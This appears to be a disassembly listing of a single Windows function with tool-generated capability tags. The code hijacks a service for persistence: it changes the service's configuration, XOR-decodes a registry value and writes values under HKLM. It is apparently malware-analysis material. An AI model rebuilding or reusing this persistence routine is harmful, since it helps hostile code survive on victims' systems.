Function at 0x401000
Capabilities:
Delete registry value
Modify service
Persist via windows service
Query or enumerate registry value
Query service configuration
Set registry value

Disassembly:
sub esp, 0x4c8
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x40102c
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
pop edi
add esp, 0x4c8
ret
push esi
push 0xf01ff
push 0x4022b0
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x401056
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor al, al
pop edi
add esp, 0x4c8
ret
push ebx
push 0x424
call dword [sym.imp.msvcrt.dll_malloc]
add esp, 4
mov ebx, eax
lea eax, [esp + 0x10]
push eax
push 0x424
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
je 0x40109d
mov ecx, dword [ebx + 0xc]
push ecx
call dword [sym.imp.msvcrt.dll__strlwr]
mov eax, dword [ebx + 0xc]
push 0x40211c
push eax
call dword [sym.imp.msvcrt.dll_strstr]
add esp, 0xc
test eax, eax
jne 0x4010b5
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop ebx
pop esi
xor al, al
pop edi
add esp, 0x4c8
ret
mov edx, dword [ebx]
push 0
push 0
push 0x402128
push 0
push 0
push 0
push 0
push 0
push 2
or edx, 0x100
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x4010a4
call esi
push edi
call esi
push 0x4022b0
lea eax, [esp + 0x20]
push 0x402134
push eax
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0x28]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010a9
push ebp
push 0x400
push eax
lea eax, [esp + 0x28]
push eax
call sub.msvcrt.dll_memset
mov edx, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 0xc
push 0
push 0
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x402164
push edx
call esi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x401234
lea eax, [esp + 0x14]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x20]
push edx
push 0
push 0x40216c
push eax
mov dword [esp + 0x2c], 0x3ff
call esi
test eax, eax
je 0x4011a2
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop ebx
pop esi
xor al, al
pop edi
add esp, 0x4c8
ret
mov eax, dword [esp + 0x18]
cmp eax, 2
je 0x4011b0
cmp eax, 1
jne 0x40121c
xor ecx, ecx
lea eax, [esp + 0x20]
mov dword [esp + 0x14], ecx
lea esi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011c0
sub eax, esi
je 0x4011f1
jmp 0x4011d0
xor byte [esp + ecx + 0x20], 0x99
lea eax, [esp + 0x20]
inc ecx
lea esi, [eax + 1]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4011e0
sub eax, esi
cmp ecx, eax
jb 0x4011d0
mov dword [esp + 0x14], ecx
lea eax, [esp + 0x20]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4011f8
mov ecx, dword [esp + 0x10]
sub eax, edx
inc eax
push eax
lea eax, [esp + 0x24]
push eax
push 3
push 0
push 0x402164
push ecx
call ebp
test eax, eax
je 0x401234
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
pop ebx
pop esi
xor al, al
pop edi
add esp, 0x4c8
ret
mov eax, dword [esp + 0x10]
push 0x40216c
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov esi, dword [esp + 0x4dc]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401250
mov ecx, dword [esp + 0x10]
sub eax, edx
inc eax
push eax
push esi
push 2
push 0
push 0x40216c
push ecx
call ebp
mov edx, dword [esp + 0x10]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edx
mov esi, eax
call ebx
test esi, esi
jne 0x401227
call fcn.00401550
cmp eax, 0x56495354
jne 0x4012fd
mov ecx, 0x2d
mov esi, 0x402178
lea edi, [esp + 0x420]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
push 0x4022b0
lea eax, [esp + 0x24]
push 0x402230
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0xf003f
push 0
lea edx, [esp + 0x2c]
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4012fd
mov ecx, dword [esp + 0x10]
push 0xb7
lea eax, [esp + 0x424]
push eax
push 7
push 0
push 0x402258
push ecx
call ebp
mov edx, dword [esp + 0x10]
push edx
call ebx
pop ebp
pop ebx
pop esi
mov al, 1
pop edi
add esp, 0x4c8
ret